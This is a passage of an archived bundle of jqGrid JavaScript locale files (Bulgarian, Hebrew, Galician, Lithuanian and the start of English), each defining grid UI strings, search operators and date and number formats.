colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-bg.js000064400000017120151677266200010447 0ustar00/** * jqGrid Bulgarian Translation * Tony Tomov tony@trirand.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["bg"] = { defaults : { recordtext: "{0} - {1} от {2}", emptyrecords: "Няма запис(и)", loadtext: "Зареждам...", savetext: "Записвам...", pgtext : "Стр. {0} от {1}", pgfirst : "Първа Стр.", pglast : "Последна Стр.", pgnext : "Следваща Стр.", pgprev : "Предишна Стр.", pgrecs : "Брой записи на Стр.", showhide: "Свиване/Разтягане на таблицата", // mobile pagerCaption : "Таблица::Настр. Страница", pageText : "Страница:", recordPage : "Записи на стр.", nomorerecs : "Няма повече записи...", scrollPullup: "Издърпайте нагоре за повече...", scrollPulldown : "Дръпнете надолу за опресняване...", scrollRefresh : "Освободете за да опресните...", valT : "с отметка", valF : "без отметка", selectLine : "Избери ред", selectAllLines : "Избери всички" }, search : { caption: "Търсене...", Find: "Намери", Reset: "Изчисти", odata: [{ oper:'eq', text:"равно"},{ oper:'ne', text:"различно"},{ oper:'lt', text:"по-малко"},{ oper:'le', text:"по-малко или="},{ oper:'gt', text:"по-голямо"},{ oper:'ge', text:"по-голямо или ="},{ oper:'bw', text:"започва с"},{ oper:'bn', text:"не започва с"},{ oper:'in', text:"се намира в"},{ oper:'ni', text:"не се намира в"},{ oper:'ew', text:"завършва с"},{ oper:'en', text:"не завършава с"},{ oper:'cn', text:"съдържа"},{ oper:'nc', text:"не съдържа"},{ oper:'nu', text:'е NULL'},{ oper:'nn', text:'не е NULL'}, {oper:'bt', text:'между'}], groupOps: [ { op: "AND", text: " И " }, { op: "OR", text: "ИЛИ" } ], operandTitle : "Натисни за избор на операнд.", resetTitle : "Изчисти стойността", addsubgrup : "Добави група", addrule : "Добави правило", delgroup : "Изтрий група", delrule : "Изтрий правило", Close : "Затвори", Operand : "Операнд : ", Operation : "Опер. : ", filterFor : "филтър за" }, edit : { addCaption: "Нов Запис", editCaption: "Редакция Запис", bSubmit: "Запиши", bCancel: "Изход", bClose: "Затвори", saveData: "Данните са променени! Да съхраня ли промените?", bYes : "Да", bNo : "Не", bExit : "Отказ", msg: { required:"Полето е задължително", number:"Въведете валидно число!", minValue:"стойността трябва да е по-голяма или равна от", maxValue:"стойността трябва да е по-малка или равна от", email: "не е валиден ел. адрес", integer: "Въведете валидно цяло число", date: "Въведете валидна дата", url: "e невалиден URL. Изискава се префикс('http://' или 'https://')", nodefined : " е недефинирана!", novalue : " изисква връщане на стойност!", customarray : "Потреб. Функция трябва да върне масив!", customfcheck : "Потребителска функция е задължителна при този тип елемент!" } }, view : { caption: "Преглед запис", bClose: "Затвори" }, del : { caption: "Изтриване", msg: "Да изтрия ли избраният запис?", bSubmit: "Изтрий", bCancel: "Отказ" }, nav : { edittext: " ", edittitle: "Редакция избран запис", addtext:" ", addtitle: "Добавяне нов запис", deltext: " ", deltitle: "Изтриване избран запис", searchtext: " ", searchtitle: "Търсене запис(и)", refreshtext: "", refreshtitle: "Обнови таблица", alertcap: "Предупреждение", alerttext: "Моля, изберете запис", viewtext: "", viewtitle: "Преглед избран запис", savetext: "", savetitle: "Съхрани запис", canceltext: "", canceltitle : "Отказ редакция", selectcaption : "Действия..." }, col : { caption: "Избери колони", bSubmit: "Ок", bCancel: "Изход" }, errors : { errcap : "Грешка", nourl : "Няма посочен url адрес", norecords: "Няма запис за обработка", model : "Модела не съответства на имената!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:" лв.", defaultValue: '0.00'}, date : { dayNames: [ "Нед", "Пон", "Вт", "Ср", "Чет", "Пет", "Съб", "Неделя", "Понеделник", "Вторник", "Сряда", "Четвъртък", "Петък", "Събота" ], monthNames: [ "Яну", "Фев", "Мар", "Апр", "Май", "Юни", "Юли", "Авг", "Сеп", "Окт", "Нов", "Дек", "Януари", "Февруари", "Март", "Април", "Май", "Юни", "Юли", "Август", "Септември", "Октомври", "Ноември", "Декември" ], AmPm : ["","","",""], S: function (j) { if(j==7 || j==8 || j== 27 || j== 28) { return 'ми'; } return ['ви', 'ри', 'ти'][Math.min((j - 1) % 10, 2)]; }, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Сортирай възходящо", sortdesc : "Сортирай низходящо", columns : "Колони", filter : "Филтрирай", grouping : "Групирай по", ungrouping : "Разгрупиране", searchTitle : "Търси данни със стойност, която", freeze : "Неподвижна", unfreeze : "Отмяна неподвижност", reorder : "Премести за пренареждане", hovermenu: "Щракнете за бързи действия в колоната" } }; })); i18n/grid.locale-he.js000064400000015376151677266200010466 0ustar00/** * jqGrid Hebrew Translation * Shuki Shukrun shukrun.shuki@gmail.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["he"] = { defaults : { recordtext: "מציג {0} - {1} מתוך {2}", emptyrecords: "אין רשומות להציג", loadtext: "טוען...", pgtext : "דף {0} מתוך {1}", savetext: "שומר...", pgfirst : "דף ראשון", pglast : "דף אחרון", pgnext : "דף הבאה", pgprev : "דף הקודם", pgrecs : "רשומות לעמוד", showhide: "החלפת מצב: הרחב כווץ טבלה", // mobile pagerCaption : "טבלה::הגדרות עמוד", pageText : "דף:", recordPage : "רשומות לעמוד", nomorerecs : "אין יותר רשומות...", scrollPullup: "גלול למעלה כדי לטעון עוד...", scrollPulldown : "גלול למטה כדי לרענן...", scrollRefresh : "שחרר כדי לרענן...", valT : "מסומן", valF : "אינה מסומנת", selectLine : "בחר שורה", selectAllLines : "בחר כל השורות" }, search : { caption: "מחפש...", Find: "חפש", Reset: "איפוס", odata: [{ oper:'eq', text:"שווה"},{ oper:'ne', text:"לא שווה"},{ oper:'lt', text:"קטן"},{ oper:'le', text:"קטן או שווה"},{ oper:'gt', text:"גדול"},{ oper:'ge', text:"גדול או שווה"},{ oper:'bw', text:"מתחיל ב"},{ oper:'bn', text:"לא מתחיל ב"},{ oper:'in', text:"נמצא ב"},{ oper:'ni', text:"לא נמצא ב"},{ oper:'ew', text:"מסתיים ב"},{ oper:'en', text:"לא מסתיים ב"},{ oper:'cn', text:"מכיל"},{ oper:'nc', text:"לא מכיל"},{ oper:'nu', text:'שווה ל null'},{ oper:'nn', text:'אינו null'}, {oper:'bt', text:'בֵּין'}], groupOps: [ { op: "AND", text: "הכל" }, { op: "OR", text: "אחד מ" }], operandTitle : "לחץ כדי לבחור פעולת חיפוש.", resetTitle : "איפוס ערך חיפוש", addsubgrup : "הוסף תת-קבוצה", addrule : "הוסף כלל", delgroup : "מחק את הקבוצה", delrule : "מחק כלל", Close : "סגור", Operand : "Operand : ", Operation : "Oper : ", filterFor : "לסנן עבור" }, edit : { addCaption: "הוסף רשומה", editCaption: "ערוך רשומה", bSubmit: "עדכן", bCancel: "בטל", bClose: "סגור", saveData: "נתונים השתנו! לשמור?", bYes : "כן", bNo : "לא", bExit : "בטל", msg: { required:"שדה חובה", number:"אנא, הכנס מספר תקין", minValue:"ערך צריך להיות גדול או שווה ל ", maxValue:"ערך צריך להיות קטן או שווה ל ", email: "היא לא כתובת איימל תקינה", integer: "אנא, הכנס מספר שלם", date: "אנא, הכנס תאריך תקין", url: "הכתובת אינה תקינה. דרושה תחילית ('http://' או 'https://')", nodefined : " אינו מוגדר!", novalue : " נדרש ערך החזרה!", customarray : "פונקציה מותאמת אישית אמורה להחזיר מערך!", customfcheck : "פונקציה מותאמת אישית צריכה להיות נוכחת במקרה של בדיקה מותאמת אישית!" } }, view : { caption: "הצג רשומה", bClose: "סגור" }, del : { caption: "מחק", msg: "האם למחוק את הרשומה/ות המסומנות?", bSubmit: "מחק", bCancel: "בטל" }, nav : { edittext: "", edittitle: "ערוך שורה מסומנת", addtext:"", addtitle: "הוסף שורה חדשה", deltext: "", deltitle: "מחק שורה מסומנת", searchtext: "", searchtitle: "חפש רשומות", refreshtext: "", refreshtitle: "טען גריד מחדש", alertcap: "אזהרה", alerttext: "אנא, בחר שורה", viewtext: "", viewtitle: "הצג שורה מסומנת", savetext: "", savetitle: "שמור שורה", canceltext: "", canceltitle : "בטל את עריכת השורה", selectcaption : "פעולות..." }, col : { caption: "הצג/הסתר עמודות", bSubmit: "שלח", bCancel: "בטל" }, errors : { errcap : "שגיאה", nourl : "לא הוגדרה כתובת url", norecords: "אין רשומות לעבד", model : "אורך של colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "א", "ב", "ג", "ד", "ה", "ו", "ש", "ראשון", "שני", "שלישי", "רביעי", "חמישי", "שישי", "שבת" ], monthNames: [ "ינו", "פבר", "מרץ", "אפר", "מאי", "יונ", "יול", "אוג", "ספט", "אוק", "נוב", "דצמ", "ינואר", "פברואר", "מרץ", "אפריל", "מאי", "יוני", "יולי", "אוגוסט", "ספטמבר", "אוקטובר", "נובמבר", "דצמבר" ], AmPm : ["לפני הצהרים","אחר הצהרים","לפני הצהרים","אחר הצהרים"], S: function (j) {return j < 11 || j > 13 ? ['', '', '', ''][Math.min((j - 1) % 10, 3)] : ''}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "מיון בסדר עולה", sortdesc : "מיון בסדר יורד", columns : "עמודות", filter : "מסנן", grouping : "קבץ לפי", ungrouping : "פירוק קבוצה", searchTitle : "קבל פריטים בעלי ערך אשר:", freeze : "קפא", unfreeze : "שחררו את ההקפאה", reorder : "העבר לסדר מחדש", hovermenu: "לחץ לפעולות מהירות בעמודה" } }; })); i18n/grid.locale-gl.js000064400000014366151677266200010472 0ustar00/** * jqGrid Galician Translation * Translated by Jorge Barreiro <yortx.barry@gmail.com> * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["gl"] = { defaults : { recordtext: "Amosando {0} - {1} de {2}", emptyrecords: "Sen rexistros que amosar", loadtext: "Cargando...", pgtext : "Páxina {0} de {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Búsqueda...", Find: "Buscar", Reset: "Limpar", odata: [{ oper:'eq', text:"igual "},{ oper:'ne', text:"diferente a"},{ oper:'lt', text:"menor que"},{ oper:'le', text:"menor ou igual que"},{ oper:'gt', text:"maior que"},{ oper:'ge', text:"maior ou igual a"},{ oper:'bw', text:"empece por"},{ oper:'bn', text:"non empece por"},{ oper:'in', text:"está en"},{ oper:'ni', text:"non está en"},{ oper:'ew', text:"termina por"},{ oper:'en', text:"non termina por"},{ oper:'cn', text:"contén"},{ oper:'nc', text:"non contén"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "todo" }, { op: "OR", text: "calquera" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Engadir rexistro", editCaption: "Modificar rexistro", bSubmit: "Gardar", bCancel: "Cancelar", bClose: "Pechar", saveData: "Modificáronse os datos, quere gardar os cambios?", bYes : "Si", bNo : "Non", bExit : "Cancelar", msg: { required:"Campo obrigatorio", number:"Introduza un número", minValue:"O valor debe ser maior ou igual a ", maxValue:"O valor debe ser menor ou igual a ", email: "non é un enderezo de correo válido", integer: "Introduza un valor enteiro", date: "Introduza unha data correcta ", url: "non é unha URL válida. Prefixo requerido ('http://' ou 'https://')", nodefined : " non está definido.", novalue : " o valor de retorno é obrigatorio.", customarray : "A función persoalizada debe devolver un array.", customfcheck : "A función persoalizada debe estar presente no caso de ter validación persoalizada." } }, view : { caption: "Consultar rexistro", bClose: "Pechar" }, del : { caption: "Eliminar", msg: "Desexa eliminar os rexistros seleccionados?", bSubmit: "Eliminar", bCancel: "Cancelar" }, nav : { edittext: " ", edittitle: "Modificar a fila seleccionada", addtext:" ", addtitle: "Engadir unha nova fila", deltext: " ", deltitle: "Eliminar a fila seleccionada", searchtext: " ", searchtitle: "Buscar información", refreshtext: "", refreshtitle: "Recargar datos", alertcap: "Aviso", alerttext: "Seleccione unha fila", viewtext: "", viewtitle: "Ver fila seleccionada", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Mostrar/ocultar columnas", bSubmit: "Enviar", bCancel: "Cancelar" }, errors : { errcap : "Erro", nourl : "Non especificou unha URL", norecords: "Non hai datos para procesar", model : "As columnas de nomes son diferentes das columnas de modelo" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Do", "Lu", "Ma", "Me", "Xo", "Ve", "Sa", "Domingo", "Luns", "Martes", "Mércoles", "Xoves", "Vernes", "Sábado" ], monthNames: [ "Xan", "Feb", "Mar", "Abr", "Mai", "Xuñ", "Xul", "Ago", "Set", "Out", "Nov", "Dec", "Xaneiro", "Febreiro", "Marzo", "Abril", "Maio", "Xuño", "Xullo", "Agosto", "Setembro", "Outubro", "Novembro", "Decembro" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd-m-Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-lt.js000064400000014140151677266200010475 0ustar00/** * jqGrid Lithuanian Translation * aur1mas aur1mas@devnet.lt * http://aur1mas.devnet.lt * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["lt"] = { defaults : { recordtext: "Peržiūrima {0} - {1} iš {2}", emptyrecords: "Įrašų nėra", loadtext: "Kraunama...", pgtext : "Puslapis {0} iš {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Paieška...", Find: "Ieškoti", Reset: "Atstatyti", odata: [{ oper:'eq', text:"lygu"},{ oper:'ne', text:"nelygu"},{ oper:'lt', text:"mažiau"},{ oper:'le', text:"mažiau arba lygu"},{ oper:'gt', text:"daugiau"},{ oper:'ge', text:"daugiau arba lygu"},{ oper:'bw', text:"prasideda"},{ oper:'bn', text:"neprasideda"},{ oper:'in', text:"reikšmė yra"},{ oper:'ni', text:"reikšmės nėra"},{ oper:'ew', text:"baigiasi"},{ oper:'en', text:"nesibaigia"},{ oper:'cn', text:"yra sudarytas"},{ oper:'nc', text:"nėra sudarytas"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "visi" }, { op: "OR", text: "bet kuris" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Sukurti įrašą", editCaption: "Redaguoti įrašą", bSubmit: "Išsaugoti", bCancel: "Atšaukti", bClose: "Uždaryti", saveData: "Duomenys buvo pakeisti! Išsaugoti pakeitimus?", bYes : "Taip", bNo : "Ne", bExit : "Atšaukti", msg: { required:"Privalomas laukas", number:"Įveskite tinkamą numerį", minValue:"reikšmė turi būti didesnė arba lygi ", maxValue:"reikšmė turi būti mažesnė arba lygi", email: "neteisingas el. pašto adresas", integer: "Įveskite teisingą sveikąjį skaičių", date: "Įveskite teisingą datą", url: "blogas adresas. Nepamirškite pridėti ('http://' arba 'https://')", nodefined : " nėra apibrėžta!", novalue : " turi būti gražinama kokia nors reikšmė!", customarray : "Custom f-ja turi grąžinti masyvą!", customfcheck : "Custom f-ja tūrėtų būti sukurta, prieš bandant ją naudoti!" } }, view : { caption: "Peržiūrėti įrašus", bClose: "Uždaryti" }, del : { caption: "Ištrinti", msg: "Ištrinti pažymėtus įrašus(-ą)?", bSubmit: "Ištrinti", bCancel: "Atšaukti" }, nav : { edittext: "", edittitle: "Redaguoti pažymėtą eilutę", addtext:"", addtitle: "Pridėti naują eilutę", deltext: "", deltitle: "Ištrinti pažymėtą eilutę", searchtext: "", searchtitle: "Rasti įrašus", refreshtext: "", refreshtitle: "Perkrauti lentelę", alertcap: "Įspėjimas", alerttext: "Pasirinkite eilutę", viewtext: "", viewtitle: "Peržiūrėti pasirinktą eilutę", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Pasirinkti stulpelius", bSubmit: "Gerai", bCancel: "Atšaukti" }, errors : { errcap : "Klaida", nourl : "Url reikšmė turi būti perduota", norecords: "Nėra įrašų, kuriuos būtų galima apdoroti", model : "colNames skaičius <> colModel skaičiui!" }, formatter : { integer : {thousandsSeparator: "", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: "", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:",", thousandsSeparator: "", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Sek", "Pir", "Ant", "Tre", "Ket", "Pen", "Šeš", "Sekmadienis", "Pirmadienis", "Antradienis", "Trečiadienis", "Ketvirtadienis", "Penktadienis", "Šeštadienis" ], monthNames: [ "Sau", "Vas", "Kov", "Bal", "Geg", "Bir", "Lie", "Rugj", "Rugs", "Spa", "Lap", "Gru", "Sausis", "Vasaris", "Kovas", "Balandis", "Gegužė", "Birželis", "Liepa", "Rugpjūtis", "Rugsėjis", "Spalis", "Lapkritis", "Gruodis" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-en.js000064400000020417151677266200010464 0ustar00/** * jqGrid English Translation * Tony Tomov tony@trirand.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["en"] = { defaults : { recordtext: "View {0} - {1} of {2}", emptyrecords: "No records to view", loadtext: "Loading...", savetext: "Saving...", pgtext : "Page {0} of {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valueCheckbox : "Checkbox", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Search...", Find: "Find", Reset: "Reset", odata: [{ oper:'eq', text:'equal'},{ oper:'ne', text:'not equal'},{ oper:'lt', text:'less'},{ oper:'le', text:'less or equal'},{ oper:'gt', text:'greater'},{ oper:'ge', text:'greater or equal'},{ oper:'bw', text:'begins with'},{ oper:'bn', text:'does not begin with'},{ oper:'in', text:'is in'},{ oper:'ni', text:'is not in'},{ oper:'ew', text:'ends with'},{ oper:'en', text:'does not end with'},{ oper:'cn', text:'contains'},{ oper:'nc', text:'does not contain'},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "all" },{ op: "OR", text: "any" }], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Add Record", editCaption: "Edit Record", bSubmit: "Submit", bCancel: "Cancel", bClose: "Close", saveData: "Data has been changed! Save changes?", bYes : "Yes", bNo : "No", bExit : "Cancel", msg: { required:"Field is required", number:"Please, enter valid number", minValue:"value must be greater than or equal to ", maxValue:"value must be less than or equal to", email: "is not a valid e-mail", integer: "Please, enter valid integer value", date: "Please, enter valid date value", url: "is not a valid URL. Prefix required ('http://' or 'https://')", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "View Record", bClose: "Close" }, del : { caption: "Delete", msg: "Delete selected record(s)?", bSubmit: "Delete", bCancel: "Cancel" }, nav : { edittext: "", edittitle: "Edit selected row", addtext:"", addtitle: "Add new row", deltext: "", deltitle: "Delete selected row", searchtext: "", searchtitle: "Find records", refreshtext: "", refreshtitle: "Reload Grid", alertcap: "Warning", alerttext: "Please, select row", viewtext: "", viewtitle: "View selected row", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Select columns", bSubmit: "Ok", bCancel: "Cancel" }, errors : { errcap : "Error", nourl : "No url is set", norecords: "No records to process", model : "Length of colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: ",", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Sun", "Mon", "Tue", "Wed", "Thr", "Fri", "Sat", "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'n/j/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 